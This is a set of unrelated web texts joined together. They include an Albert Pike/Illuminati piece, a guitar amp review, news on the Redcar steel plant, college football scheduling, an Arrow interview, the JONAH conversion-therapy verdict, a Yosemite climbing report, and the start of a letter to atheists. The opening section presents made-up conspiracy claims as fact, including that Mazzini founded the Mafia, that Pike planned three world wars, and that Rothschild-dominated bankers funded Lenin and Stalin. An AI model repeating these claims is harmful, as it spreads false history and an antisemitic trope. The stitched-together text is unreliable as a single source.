Albert Pike died on April 2, 1891, and was buried in Oak Hill Cemetery, although the corpse of Pike currently lies in the headquarters of the Council of the 33rd degree of the Scottish Rite of Freemasonry in Washington, DC. see The Deadly Deception, by Jim Shaw - former 33rd degree Mason and Past Master of all Scottish Rite bodies.)
The Albert Pike Monument
Albert Pike made his mark before the war in Arkansas as a lawyer and writer, but as a Confederate Brigadier General, he was, according to the Arkansas Democrat of July 31, 1978, a complete "WASH-OUT," not a hero. Yet, Gen. Albert Pike is the only Confederate general with a statue on federal property in Washington, DC. He was honoured, not as a commander or even as a lawyer, but as Southern regional leader of the Scottish Rite of Freemasonry. The statue stands on a pedestal near the foot of Capitol Hill, between the Department of Labor building and the Municipal Building, between 3rd and 4th Streets, on D Street, NW. More background on the colorful history of the statue can be found at the Masonic Info website. During the 1992 presidential campaign, Lyndon H. LaRouche and his vice presidential running mate, the Reverend James Bevel, launched a mobilization to remove the statue of General Albert Pike from Washington, D.C.'s Judiciary Square. On February 1, the campaign drew an angry attack from freemasonic leader C. Fred Kleinknecht, who attempted to defend both Pike and the Ku Klux Klan from LaRouche and Bevel's attack. A speech by Anton Chaitkin entitled 'Why Albert Pike's Statue Must Fall' can be found here (September 21, 1992).
The Illuminati and Albert Pike
Adam Weishaupt (1748 - 1811) formed the Order of Perfectibilists on May 1, 1776 (to this day celebrated as May Day throughout many western countries), which later became known as the illuminati, a secret society whose name means "Enlightened Ones". Although the Order was founded to provide an opportunity for the free exchange of ideas, Weishaupt's background as a Jesuit seems to have influenced the actual character of the society, such that the express aim of this Order became to abolish Christianity, and overturn all civil government.
An Italian revolutionary leader, Giusseppe Mazzini (1805-1872), a 33rd degree Mason, was selected by the Illuminati to head their worldwide operations in 1834. (Mazzini also founded the Mafia in 1860). Because of Mazzini's revolutionary activities in Europe, the Bavarian government cracked down on the Illuminati and other secret societies for allegedly plotting a massive overthrow of Europe's monarchies. As the secrets of the Illuminati were revealed, they were persecuted and eventually disbanded, only to re-establish themselves in the depths of other organizations, of which Freemasonry was one.
During his leadership, Mazzini enticed Albert Pike into the (now formally disbanded, but still operating) Illuminati. Pike was fascinated by the idea of a one world government, and when asked by Mazzini, readily agreed to write a ritual tome that guided the transition from average high-ranking mason into a top-ranking Illuminati mason (33rd degree). Since Mazzini also wanted Pike to head the Illuminati's American chapter, he clearly felt Pike was worthy of such a task. Mazzini's intention was that once a mason had made his way up the Freemason ladder and proven himself worthy, the highest ranking members would offer membership to the secret 'society within a society'.
It is for this reason that most Freemasons vehemently deny the evil intentions of their fraternity. Since the vast majority never reach the 30th degree, they would not be aware of the real purpose behind Masonry. When instructing Pike how the tome should be developed, Mazzini wrote the following to Pike in a letter dated January 22, 1870. Remember that Freemasonry wasn't started by Pike - rather it was infiltrated by the Illuminati who were looking for a respectable forum in which to hide their clandestine activities:
"We must allow all the federations to continue just as they are, with their systems, their central authorities and their diverse modes of correspondence between high grades of the same rite, organized as they are at the present, but we must create a super rite, which will remain unknown, to which we will call those Masons of high degree whom we shall select. With regard to our brothers in Masonry, these men must be pledges to the strictest secrecy. Through this supreme rite, we will govern all Freemasonry which will become the one international center, the more powerful because its direction will be unknown."1
In 1871, Pike published the 861 page Masonic handbook known as the Morals and Dogma of the Ancient and Accepted Scottish Rite of Freemasonry.
After Mazzini's death on March 11, 1872, Pike appointed Adriano Lemmi (1822-1896, 33rd degree Mason), a banker from Florence, Italy, to run their subversive activities in Europe. Lemmi was a supporter of patriot and revolutionary Giuseppe Garibaldi, and may have been active in the Luciferian Society founded by Pike. Lemmi, in turn, was succeeded by Lenin and Trotsky, then by Stalin. The revolutionary activities of all these men were financed by British, French, German, and American international bankers; all of them dominated by the House of Rothschild.
Between 1859 and 1871, Pike worked out a military blueprint for three world wars and various revolutions throughout the world which he considered would forward the conspiracy to its final stage in the 20th Century.
In addition to the Supreme Council in Charleston, South Carolina, Pike established Supreme Councils in Rome, Italy (led by Mazzini); London, England (led by Palmerston); and Berlin, Germany (led by Bismarck). He set up 23 subordinate councils in strategic places throughout the world, including five Grand Central Directories in Washington, DC (North America), Montevideo (South America), Naples (Europe), Calcutta (Asia), and Mauritius (Africa), which were used to gather information. All of these branches have been the secret headquarters for the Illuminati's activities ever since.
You might be interested in the following external links: Albert Pike Defense: Defenses of certain Pike assertions taken from Walter Lee Brown, Professor Emeritus of History at the University of Arkansas at Fayetteville and his book "A Life of Albert Pike," published by the U. of Arkansas press, 1997. Freemasonry Inside Out: This sensational analysis of the Masonic brotherhood examines the basic question asked for almost 300 years by the general public and surprisingly by many masons themselves. “If Freemasonry is simply a fraternal and charitable organisation, why is there an almost fanatical obsession with secrecy and mysterious rituals? CD-Rom. Layout of Washington D.C. and discussion of how President Andrew Johnson considered himself to be the subordinate to Albert Pike, the leader of North American Freemasonry. Looking for pictures of Albert Pike?
Books by Albert Pike Morals and Dogma of the Ancient and Accepted Scottish Rite of Freemasonry
Morals and Dogma of the Ancient and Accepted Scottish Rite of Freemasonry Beyond the Law : The Religious and Ethical Meaning of the Lawyer's Vocation
Beyond the Law : The Religious and Ethical Meaning of the Lawyer's Vocation Book of the Words
Book of the Words Digest Index of Morals & Dogma 1909
Digest Index of Morals & Dogma 1909 Esoteric Work of the 1 Degree - 3 Degree, According to the Ancient and Accepted Scottish Rite
Esoteric Work of the 1 Degree - 3 Degree, According to the Ancient and Accepted Scottish Rite Evil Consequences of Schisms and Disputes for Power in Masonry and of Jealousies and Dissensions Between Masonic Rites, 1858
Evil Consequences of Schisms and Disputes for Power in Masonry and of Jealousies and Dissensions Between Masonic Rites, 1858 Ex Corde Locutiones: Words from the Heart Spoken of His Dead Brethren
Ex Corde Locutiones: Words from the Heart Spoken of His Dead Brethren General Albert Pike's Poems 1900
General Albert Pike's Poems 1900 Historical Inquiry in Regard to the Grand Constitutions of 1786 - 1883
Historical Inquiry in Regard to the Grand Constitutions of 1786 - 1883 Hymns to the Gods and Other Poems
Hymns to the Gods and Other Poems Indo-Aryan Deities and Worship As Contained in the Rig-Veda
Indo-Aryan Deities and Worship As Contained in the Rig-Veda Irano-Aryan Faith and Doctrine As Contained in the Zend-Avesta
Irano-Aryan Faith and Doctrine As Contained in the Zend-Avesta Lectures of the Arya
Lectures of the Arya Lectures on Masonic Symbolism and a Second Lecture on Symbolism or the Omkara and Other Inefable Words
Lectures on Masonic Symbolism and a Second Lecture on Symbolism or the Omkara and Other Inefable Words Legenda and Readings of the Ancient and Accepted Scottish Rite of Freemasonry
Legenda and Readings of the Ancient and Accepted Scottish Rite of Freemasonry Liturgies of the Ancient and Accepted Scottish Rite of Freemasonry 4 Degree - 30 Degree
Liturgies of the Ancient and Accepted Scottish Rite of Freemasonry 4 Degree - 30 Degree Liturgy of the Blue Degrees
Liturgy of the Blue Degrees Lyrics and Love Songs - 1899
Lyrics and Love Songs - 1899 Magnum Opus or the Great Work: The Complete Ritual Work of Scottish Rite Freemasonry
Magnum Opus or the Great Work: The Complete Ritual Work of Scottish Rite Freemasonry Masonic Baptism: Reception of a Louveteau and Adoption
Masonic Baptism: Reception of a Louveteau and Adoption Masonry of Adoption: Masonic Rituals for Women Complete With the Verbatim Degree Lectures and the "Secret Work"
Masonry of Adoption: Masonic Rituals for Women Complete With the Verbatim Degree Lectures and the "Secret Work" Meaning of Masonry
Meaning of Masonry Narrative of a Journey in the Prairie - 1835
Narrative of a Journey in the Prairie - 1835 Old Cashier of the 33d Degree
Old Cashier of the 33d Degree The Point Within the Circle: Freemasonry Veiled in Allegory and Illustrated by Symbols
The Point Within the Circle: Freemasonry Veiled in Allegory and Illustrated by Symbols The Porch and the Middle Chamber: Book of the Lodge
The Porch and the Middle Chamber: Book of the Lodge Prose Sketches & Poems Written in the Western Country - 1834
Prose Sketches & Poems Written in the Western Country - 1834 Pythagoras and Hermes
Pythagoras and Hermes Rituals of Old Degrees
Rituals of Old Degrees What Masonry Is & Its Objects; Ancient Ideals in Modern Masonry - 1919
Footnotes
1. Lady Queensborough: Occult Theocracy, pp. 208-209.
2, 3, 4. Cmdr. William Guy Carr: Quoted in Satan: Prince of This World. |
Conversation piece and decent tone to boot...
The Fender Mini Tonemaster guitar amp has surprising tones. You won't get a lot of low end due to the size of the drivers. The distortion is more suited to single coil pups and sounds pretty good. I am going to take a look at the clipping circuit and see if I can clean it up at all(slightly muddy). I am also going to mod mine by installing a GFS delay modboard in it. That way, the mini amp will have some retro analog delay to dial in. Overall, a neat and decent sounding mini amp. Louder than you would expect. My girlfriend loves the way it looks. Now I can leave a guitar amp right out on the end table without it being a nuisance. lol. Ryan Rister of KelliSaid. |
Image copyright PA Image caption Production at the plant was paused on 18 September
Iron and steelmaking at SSI's Redcar plant in the north-east of England is to be mothballed, with the loss of 1,700 jobs.
The company "paused" production on 18 September citing poor trading conditions and a drop in world steel prices.
SSI UK business director Cornelius Louwrens said the plant could be mothballed for up to five years.
Redcar MP Anna Turley described it as "devastating news".
SSI said it had carried out an assessment of its business situation and concluded there was "no other option" but to mothball its iron and steel making operations on Teesside.
Mr Louwrens said: "This is an extremely sad day for all of us at SSI UK, and in particular our employees and their families."
He said he did not know how long the site would be mothballed and the price of steel would need to recover before there was any prospect of the site reopening.
See reaction to the news on the BBC North East Local Live page.
The company revealed about 450 people would be kept on but 1,700 workers would go.
The Redcar coke ovens and the power station will continue to operate.
Labour MP Ms Turley accused SSI of playing "fast and loose" with the plant's future, and claimed the government could have done more to prevent the closure.
She said: "It's absolutely heartbreaking, it's devastating.
Media playback is unsupported on your device Media caption Worker John Muirhead: "We're all absolutely devastated"
Image copyright Getty Images Image caption A rally in support of the steelworkers was held last week
"It's a huge number of jobs, it's a huge number of livelihoods, but it is more than that to our community.
"Redcar was built on steelmaking, Teesside was built on steelmaking. It's about generations of people that have worked in that blast furnace and fought so hard, not just in the last few days but in the last few weeks, months, years, to keep steelmaking alive. It's just been allowed to fizzle out."
She called on the government to take control of the site and its assets to ensure a future for steelmaking on Teesside and in the UK.
But Conservative MP James Wharton, who is the Minister for Local Growth and the Northern Powerhouse, rejected a call for the plant to be renationalised.
He said: "An industry which has made a loss over each of the last three years would pass that responsibility to the tax payer.
'Big blow'
"It would present huge issues for the rest of the steel market in this country in terms of how they would then be able to compete with, what will be, a nationalised company.
"It's just not something that is going to happen."
Business Minister Anna Soubry said: "Despite everyone's recent efforts to help SSI this is very sad news and a big blow for the workforce and their families."
She said a taskforce had been set up to support workers.
Image copyright PA Image caption Cornelius Louwrens (right) said he did not know how long the site would be mothballed
"I hope that SSI's announcement that they are mothballing the furnace gives some hope that steelmaking could be restarted on Teesside in the future", she said.
"The steel industry across the UK is facing very challenging economic conditions. The price of steel has almost halved over the past year, with over-production in the world market.
"While government cannot alter these conditions, I have called a steel summit to see what more can be done to help our steel industry."
Linda Robinson's family has been involved in steel manufacture for generations.
She said: "Every family on Teesside knows somebody in the steel industry. And we've got near 170 years of steel making.
"We're the original northern powerhouse, forget this new title. We demand that they save the steel works, forget mothballing. We deserve this."
Image copyright Matthew Nixon Image caption Fans at Middlesbrough's match on Sunday marked out the Save our Steel message
'Vital' skills
The GMB union said it would be calling on the government to take action.
Its national officer, Dave Hulse, said: "The government has got to take some responsibility for this.
"They can still intervene to save Redcar and the thousands of jobs that rely on the plant."
The Community union said it would be calling an urgent meeting with SSI.
General secretary Roy Rickhuss said: "Steelmaking on Teesside must have a future and our fight to save our steel will continue.
"These vital industrial skills have been passed down through the generations and must not be lost.
"That blast furnace must not become a monument to 170 years of history and it must be mothballed properly to preserve its integrity and give it the chance of a future."
Iron ore was first discovered on Teesside in the 1850s and the steel works, which are being mothballed, was founded in Redcar in 1917
The plant was mothballed by previous owner Tata Steel in 2010. SSI then spent millions of pounds making the furnace ready again before it was relit in 2012. |
After Pitt Athletic Director Heather Lyke told the Canton Repository that Pitt was close to finalizing a contract offer to extend its series with Penn State past 2019, Nittany Lions Athletic Director Sandy Barbour responded to reports about the intrastate rivalry series.
"As I’ve said many times before, I have strong appreciation for the history and tradition of the Penn State-Pitt series. Since Heather’s arrival at Pitt we’ve had conversations about the series," Barbour said in an emailed statement to The Daily Collegian. "We (Penn State) have to determine how any possible future games might fit with our other scheduling requirements and objectives."
Barbour seemed to indicate the extension is probably in the works, but isn't too close to being finalized yet. While Lyke could be right about Pitt finalizing a contract offer, it still would have to be accepted by Barbour and Penn State before the two teams can move forward with their series.
There are two scheduled contests remaining between Penn State and Pitt (in Pittsburgh in 2018 and at Beaver Stadium in 2019) before the current series expires. The final of the two games will mark the 100th time the two programs will meet.
The Nittany Lions still have two non-conference games to schedule in 2020 and one to schedule in 2021. Should a new deal be inked before Penn State fills these slots, it's possible the two teams could meet for another home-and-home series.
However, with the emphasis the College Football Playoff selection committee places on strength of schedule, it may not be in Penn State's best interest to play Pitt every season, given it has only three non-conference games on its schedule. This is probably what Penn State and Barbour will be deciding should Lyke and Pitt send over a contract extension for the series. |
Warning: This story contains major spoilers from Wednesday’s episode of Arrow. Read at your own risk!
Oliver Queen saved the day once again — this time as mayor.
After a shooter targeted City Hall during Wednesday’s episode of Arrow, Oliver (Stephen Amell) needed to use his power as the mayor, not as the Green Arrow, to save his city. Oliver was successful in pleading with the shooter, who had taken his anger out on Star City’s government for failing to pass a gun safety law after his family was killed in a shooting. Ironic, yes, but will the shooter’s actions impact Oliver’s opinion on killing moving forward?
“One of the things you’ll see in the second half of season 5 is the gray area becomes a lot more gray,” executive producer Marc Guggenheim says. “We’re really delving into the complexities of Oliver being a killer in a way that we’ve never done on the show before.”
Whereas past seasons have been very black-and-white when it comes to Oliver’s decision to kill his enemies — it’s been his modus operandi to take no prisoners for most of the series — this season will explore the reasons why. “In many ways, Oliver killing is the seminal moral quandary of the show,” Guggenheim says. “One of the things we are doing in the back half of season 5 is really getting underneath that and what that means, not just in terms of morality, but in terms of psychology — specifically Oliver’s psychology. There’s things about Oliver’s killing that you have yet to learn.”
By hour’s end, Oliver enacted a gun safety law — the details of which aren’t expressly revealed — but don’t expect those new regulations to necessarily change Team Arrow’s operations moving forward. “Oliver’s decision to kill or not to kill has huge moral implications not just for him, but for the team and the people who work for him,” executive producer Wendy Mericle says. “But for the rest of the season, we’ll definitely be exploring the ramifications of that decision — not necessarily with regards to the gun control laws now that they exist, and what does that mean for the team when they’re out in the field, but definitely in respect to Felicity [Emily Bett Rickards] and to some extent Curtis [Echo Kellum] as well, with what they’re going through. How do they square their own circles morally with the actions that they’ve taken?”
Regardless of the new laws, Oliver & Co. will face opposition very soon. “In the very next episode, Team Arrow is going to come up against the police for a very different kind of reason,” Guggenheim teases. The logline for next week’s episode reveals that the SCPD targets the Green Arrow for the murder of Detective Malone, which should make things very interesting considering Dinah Drake (Juliana Harkavy) has just joined the police department.
“Dinah offers this fresh perspective to the team,” Guggenheim says. “In many ways, she’s kind of acting like our Greek chorus. She comes to the team without the burden of having been trained by Oliver and without the burden of dealing with all of Oliver’s secrets — and in some cases, in previous seasons, lies and mishegoss. So she just has a nice, clean perspective that isn’t so much about where she’s living as it is about what she’s been through and her backstory. But her backstory also is not being someone who was a member of Team Arrow, who comes to the team without the baggage of the past four seasons.”
Little does Oliver know, being targeted by the SCPD may be the least of his worries. After all, his girlfriend Susan (Carly Pope) not only uncovered Ollie’s connection to the Bratva but now suspects that Oliver could actually be the Green Arrow. What she’ll do with that information, however, remains to be seen. “It seems like the general prevailing theories about how we’re going to pay that subplot off are wrong,” Guggenheim says. “Everyone’s expecting something we’re not doing, for better or for worse.”
Oliver also has to contend with the growing threat that is Prometheus, with Arrow planning to explore more of the Big Bad in next week’s hour. “Episode 14 is this fulcrum where a lot of the little seeds that had been planted in the first half of the season start to come to fruition, and you start to realize that, ‘Oh, Prometheus has been setting up a chess board,'” Guggenheim says. “The episode ends with the next key move in Prometheus’ grand plan.”
As for when viewers will find out who’s actually under that mask, Guggenheim notes the reveal will come “later than we typically do,” though declined to be more specific about Prometheus’ identity. “Anytime we do a reveal on the show, it’s always with the intention of not just surprising the audience, but also of resetting the board and resetting the characters’ perspectives, and the characters having a profound reaction to things,” he continues. “Hopefully, we’ll do that again. … I feel good about what our game plan is.”
And that game plan has been in place since the start of the season — at least as it pertains to knowing Prometheus’ identity. “Yes, we knew from the beginning,” Guggenheim says. “No, it hasn’t changed. I think I’ve said this in a bunch of different ways over the last five years, but we always go in with a plan. We do tend to call audibles as we get inspired and get new ideas. A year is a long time. But generally speaking, something that major, like the mystery of the identity of the Big Bad, we’re pretty dialed into it from the jump.”
Despite whatever Prometheus has planned for Oliver, the producers seem relatively positive that, in his new position as mayor, Oliver may actually not fail this city. “Thea’s [Willa Holland] gonna make a good case to Oliver, of all people, for all the things he’s accomplished as mayor, and you start to see like, ‘Oh wait, in the first 13 episodes, he actually kind of did some stuff.’ And he’s not done yet. Obviously, the season’s not done yet, but we definitely went into the season with the goal of showing that Oliver is actually much better at this job than you might expect.”
Arrow airs Wednesdays at 8 p.m. ET on The CW. |
Miami Marlins owner Jeffrey Loria is reportedly a candidate to serve as the ambassador to France under President Trump.
White House chief of staff Reince Priebus is pushing for Loria to get the position, according to the New York Post.
Priebus is also reportedly advocating for GOP activist Georgette Mosbacher to serve as ambassador to Luxembourg; financier Lew Eisenberg for ambassador to Italy; and investor Duke Buchan for ambassador to Spain.
According to a report earlier this month, the Kushner real estate family, led by the brother of Trump's son-in-law, Jared, are in talks with Loria to buy the baseball team.
Joshua Kushner, Jared's brother, and his brother-in-law, Joseph Meyer, have been pursuing the Marlins for months, The New York Times reported.
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Jared Kushner is Ivanka Trump's husband and a senior White House adviser.
The Associated Press reported earlier this month that the Marlins owner has a preliminary agreement to sell his team to a New York businessman.
According to The New York Times, Jared Kushner and his father, Charles Kushner, are not participating in the effort. |
June will be remembered as a landmark month in the decades-long struggle for LGBT rights. That’s primarily due to the U.S. Supreme Court’s ruling in Obergefell v. Hodges, which legalized same-sex marriage in all 50 states.
But Obergefell is not the only recent LGBT victory. A New Jersey court ruled earlier this month that an organization purporting to offer so-called “ex-gay” conversion therapy violated the state’s Consumer Fraud Protection Act. Jews Offering New Alternatives for Healing (JONAH) told clients that it could change their sexual orientation, in accordance with a strain of orthodox Judaism.
According to the lawsuit, which was brought by the Southern Poverty Law Center (SPLC) on behalf of five plaintiffs, JONAH therapists subjected their clients to a number of humiliating acts.
One plaintiff, Benjamin Unger, says his therapist encouraged him to beat a pillow – meant to symbolize his mother – with a tennis racket.
“I had a huge gash and my hands were actually bleeding from hitting it so much,” he said in a statement provided by the SPLC. “People were standing around me and supporting me and kind of egging me on and … that was probably the worst thing I did in the JONAH program as far as how it affected me and my family and how it affected me emotionally.”
As reported by Slate, clients were also told to shout anti-gay slurs at a pair of oranges, which represented testicles. That’s mild fare compared to other preferred JONAH therapies.
From the lawsuit: “At one particularly atrocious session, a counselor instructed Levin [a plaintiff] to select someone from the group to role-play his past abuser. The selected participant was made to yell abusive statements that Levin’s abuser had made, such as ‘I won’t love you anymore if you don’t give me [oral sex].’”
This would, according to JONAH founder Arthur Goldberg, turn gay Jewish men into straight Jewish men. According to the SPLC’s plaintiffs, it simply traumatized them instead. It certainly didn’t turn them straight. And that, SPLC attorneys argued, violated the state of New Jersey’s consumer fraud protections.
JONAH’s raison d’etre, orientation reversal, has been condemned by the American Psychological Association and other mainstream professional bodies as pseudoscientific, and damaging to patients. According to the SPLC, the fact that there’s no scientific basis to support JONAH’s therapies means the organization engaged in false advertising and defrauded clients to the tune of thousands of dollars.
A jury agreed, and awarded the plaintiffs $72,000 in damages.“This verdict is a monumental moment in the movement to ensure the rights and acceptance of LGBT people in America,” SPLC’s deputy legal director, David Dinielli, said in a statement.
“Conversion therapy and homophobia are based on the same central lie – that gay people are broken and need to be fixed. Conversion therapists, including the defendants in this case, sell fake cures that don’t work but can seriously harm the unsuspecting people who fall into this trap,” he added.
A judge will now decide if JONAH may keep its counselling license. Given the jury’s verdict, the odds are not in JONAH’s favour. Nor should they be: The organization has deliberately abused and traumatized men for years, based on a limited interpretation of the Old Testament and faulty therapeutic treatments.
This verdict can’t repair the damage JONAH inflicted on its clients. But it sets an important precedent for the battle against dogmatic “ex-gay” therapy centers.
New Jersey, California, Oregon and D.C. have each banned conversion therapy for LGBT minors – a cause Americans United supports due to the fact these therapies are religious in nature and demonstrably harmful to children. The SPLC’s successful lawsuit is the first of its kind, and the group’s victory should strengthen future cases against the practice.
The case is also an important reminder that we’ve still got a long way to go before LGBT people are considered fully equal. Cracking down on groups like JONAH is a good place to start. |
Our high camp for a few days!!!
And this is where the photos end. Maybe we will retrieve the rest someday!!!
Our high camp for a few days!!!And this is where the photos end. Maybe we will retrieve the rest someday!!! Credit: Bivi Brothers
The topo for those who have not seen yet!! :)
The topo for those who have not seen yet!! :) Credit: Bivi Brothers
Looking up from the Robbins Traverse bolt ladder at the blankness!
Looking up from the Robbins Traverse bolt ladder at the blankness! Credit: Bivi Brothers
Pitch 3 belay!!!
Pitch 3 belay!!! Credit: Bivi Brothers
Howard leading P2!!
Howard leading P2!! Credit: Bivi Brothers
Howard jugging P1. The blast zone is quite obviouse in the back ground!!!
Howard jugging P1. The blast zone is quite obviouse in the back ground!!! Credit: Bivi Brothers
The morning of blast off!!
The morning of blast off!! Credit: Bivi Brothers
The Big Stone!
The Big Stone! Credit: Bivi Brothers
[photoid=420836]So I pretty much dont even really know where to begin. This whole event and how it unfolded for us I still cant even quite put into words. I guess I can start by sharing that from a relatively early age I fell in love with a certain chunk of rock through a drive for adventure. Shortly thereafter I learned that this place had held a strong place in many adventurer/ pioneers hearts before me. People like Mendenhall/ Wiltz/ Robbins/ Chouinard/ Frost and many many more from an era not so long ago. Then the next generation to follow in the footsteps of these giants (the Stone Masters) I dont even need to name drop there! The name of such a mythical and legendary place I speak of that has become such a part of who I am, would be Tahquitz rock, of course!Wow, if only to be around to see the sh#t they were pulling off back then, it blows my friends and me away every time we go up there. Then, obviously these stories and the people that go with them are even richer and stronger in the alpine wonderland that is Yosemite Valley. I dont have nearly the relationship with the spirit of this place as Tahquitz. None the less, like many of us, I cannot help but be drawn to the valley, its giant walls, rich history, climbing lore, and legend that will forever echo and resonate in the hearts of people like myself.At this point in the game lets just say Ive done my fair share of suffering high above the Valley floor. Why we keep coming back for more is beyond me. I always come back to Warren Hardings famous quote when topping off the Dawn Wall Cuz were insane! Really though, it has always been about the spirit of the adventure and just how far do you have to push your spirit for them both to coalesce and you are able to make the impossible possible!Two weeks ago, like many of us, I was in shock to hear part of pitch 11 on the most historic big wall had fallen, and might no longer be passible. This route out of most in the valley is very special to me. It was my brothers and my first Grade VI in a day, (nothing new there)! As news quickly spread about the monolithic flake that fell off, I became possessed with the possibility of the unknown and what was to be newly discovered across this blank virgin section of one of the most historic routes on the planet. I quickly put together my arsenal of gear and was soon putting my feelers out there for someone crazy enough to join me on such a mission. I soon learned one of my climbing acquaintances Scott Sinner and his partner were the first to discover the ledge/ flake system had fallen. He gave me some beta but still seemed impossible. To top it off, on such a historic route, I knew we had to keep it as real and true to the Robbins ethics of climbing as possible. So who did we end up being, you ask? One of my super motivated Tahquitz partners, Howard Ballou. Howard is the type of partner that will go for anything. To top it off he has a great attitude, no matter how bad the suffer-fest gets. Out of all the years I have been into this, Howard is one of only a few partners I have ever had that fall into a much different category. The rest of you know who you are and know how much you were with us on such a magical journey.From the moment it was decided that two average Joe climbers from SoCals Tahquitz rock would be the first stupid enough to try and link together the fallen sketch pitch on one of the most iconic routes in the world, we knew that not only living up to Robbins and Golden age ethics and style of climbing would be one of many cruxes. We also knew trying to make it as safe and proud as possible was one of infinite unknowns. From the beginning we both really emphasized not trying to force anything. If it ever did feel forced it probably was not safe and was just not meant to be. This we were okay with and went into it with the mindset that it was all about the adventure and not the destination itself.And so it went on Sunday, July 19th we drove to the valley and organized our kit at the Happy Isle Trailhead. Weather was forecasted to be lightning and thunder storms for the next 3 days, but knew then we would have a window. The following day Howard and I hiked up the Mist Trail around the back 7.5 miles of suffer-fest with 75 lbs. loads, toting the porta-ledge between us. Typically we would take the Death Slabs but chose this option to mitigate the risk of death by rock fall, and to follow in the footsteps of the FA party, as this is the route they followed. We arrived at the base just in time before getting hit by what sounded like Megatron coming over the mountain and all hell and hail broke loose. Typical afternoon Sierra thunder storms I have dealt with my whole life. It was then apparent that where the established 5-6 bivi platforms at the start of RNWF had all but pretty much been obliterated by the fall, we decided to build a new bivi platform higher up on the shoulder in the trees. It ended up being quite a nice spot with a better view of what lie ahead for us for the next several days. Howard and I decided we had to go ground up obviously no fixing to the ground. We also planned on 5 days of rations, set a high camp right at the Robbins Traverse, and see how many days it would take us to put the pieces together. We did the next two days of exactly that; getting into position, inspecting what it might take, and experiencing the super eerie phenomena of raining gravel on us nonstop every night, even though we were to the left of the fall zone. The fear of it all was definitely very real and prevalent in our minds the entire time, but still everything was going smooth and nothing had felt forced. On the second night knowing there was a new passage way out right we couldnt sleep a wink, anticipating how the next day might unfold, combined with the constant bombardment of gravel, around 1am Howard, probably sensing I was not asleep, says Holy sh#t bro, do you feel that?, What is it? I ask, hearing the fear in his voice. The whole wall is vibrating, he points out. Sure enough in the midst of raining gravel the wall did seem to be vibrating in a rather unnerving harmonization. Holy sh#t that is scary and about puked as it vibrated through our porta-ledge. Out of nowhere *POP*, our ledge flips sideways and all about spits us out of it. I think we both about sh#t ourselves and decide it had to have been loaded slightly off center and just fell back asleep sideways in the ledge, rather than climb in the dark and try to fix it.At first light it was game day. I was to climb up through pitch 9 to do what is left of 10, try to analyze if the frightful, but clean splitter system works out right. It definitely looked intimidatingly loose and could definitely go free. As I climbed back up and left towards where the existing free variation came down to the missing ledge at the start of pitch 11, two huge microwave size blocks dislodge out of nowhere below me off into the abyss, exploding on the talus below. It was close, but not that close. As I mantled up through 20 of new terrain I notice what looks to be a new anchor that I did not remember from before. Coming off of this anchor was a rivet ladder, 7 rivets deep, top steppy as sh#t and trended up and right into nowhere land. They did however lead you close above the existing anchor of pitch 11 now out in space on a never ending extremely blank section of rock. I knew that if I could get up the rivet ladder and investigate this could be the cleanest safest option. I yell back down to Howard to take as he lowers me and I tram my way back across the Robbins Traverse to camp.At this point its 9am, I tell Howard the game plan which is to blast back up to said new mystery anchor, fully loaded with our arsenal of everything we could need, climb the rivet ladder, and see where it takes us. As I carefully top step my way up the suspiciously new ladder I see I can pendulum from the last rivet to the old anchor way out in space, I also see that the ledge coming off the bottom left of the 5.11 corner is even closer. Howard and I discuss and decide it was pointless to pendji over to the old anchor and then pendji out right to the new death flake of a ledge. I had just climbed over there and saw how death defying it seemed. What did seem very obvious and not too over the top was to top step that last rivet and start drilling. This was my first bolt I have ever placed in the valley and to be honest did not feel wrong nor right but did make me want to puke. An hour later it was done. Howard and I took turns all day, but Howard really shined being able to hammer ambidextrous and could bang a bolt out in 20 minutes. With a small number of four bolts now in place off the sketch rivet ladder. Howard lowers in place for what became one of the coolest pendulums I have seen next to the King Swing. Left then right again Howard tries to slam dunk dyno off the high point of the pendji to catch the ledge that makes up the start of the 5.11 corner, and then back on route. But he misses, and misses again, then lowers down. By this time we are both cooked, we are running low on rations and if we cant just link this one section that seems to be perfectly set up for us, it would still have been an amazing adventure. The bolts however would have been in vain. Howard and I decide one more bolt will get us there for sure, investigate to make sure all still looks safe and bail back to camp. Howard the Hammer goes back up and puts in the 5th bolt and sends with the air Jordan dunk to the 5.11 corner off the end of the pendulum.So basically what links the missing blank section is a 7 rivet/ button head bolt ladder, 5 additional 3/8 bolts, total of 12, to a rather ridiculous pendulum. We did not climb the variation way out right but investigated and concluded it would be 3 more pitches compared to 1. Only a bit more difficult than what the existing rating is, but definitely sketchy loose in some sections and super solid splitters in others. The two main hazards, being a large death flake to start off of and a large hanging death flake where you would finish back into the chimney.I have included a topo of the variation that Howard and I bolted and the variation we investigated out right. I feel we investigated both pretty thoroughly and made the safest choice. The climb is still rad and although does not have the chimney keyhole pitch anymore, the new path is quite fun and we tried to keep it as true to the roots of this route as possible.I hope everyone enjoys the work we did up there. The route felt as if it definitely lent itself to us and hope all can share in the adventure of the spirit of the stone that we have embraced for so many years.Joshua ReinigPost ScriptAs the story, myth and legend of this route goes I apologize for not having more photos. Basically the camera we were using was lost to the Merced. Overall it was an amazing adventure and cannot wait to go back up the Big Stone already.Now somebody get up there and work that free variation! |
My dear atheist friend,
I have been actively involved in the education of Jews of all stripes (especially those with a built-in apathy or antipathy to theology) for the last 11 years. I have had a lot of time to reflect on your position and I'd like to offer a few general observations that I've culled from my experience over the years - not to convince you to change your mind (which, I've discovered, is close to impossible) and not to judge your choices, but rather so that we can understand each other better and possibly "walk back" some of the clamorous dialogue. Certainly we can open by agreeing that all human beings should be respected and, assuming no egregious misdeeds, treated with civility.
The first point I'd like to explore is that there really are no true atheists. It seems to me that in order to claim with certainty that there is no God you would have to have knowledge of the totality of the universe - seen and unseen - and I don't think any of you guys are ready to make that claim. You have not observed an overarching creative force, a God ... yet. Being a rationalist, of course, you know that failing to make such an observation is different from proving that there isn't one, which, by its very nature, is an impossible task. (You will counter that definitively proving the existence of God on purely rational grounds is similarly impossible, which, for the sake of argument, I will concede.) Given this, your assumption of the title, "atheist" isn't so much a statement of fact as it is a statement of principle, or intent -- a nom de guerre. To define oneself as simply agnostic (which I believe you truly are) sounds unsatisfingly wishy-washy and degrades your ability to take a firm stand against deism, in its various forms. While this is certainly understandable, I suspect that you have traded accuracy for titular intensity.
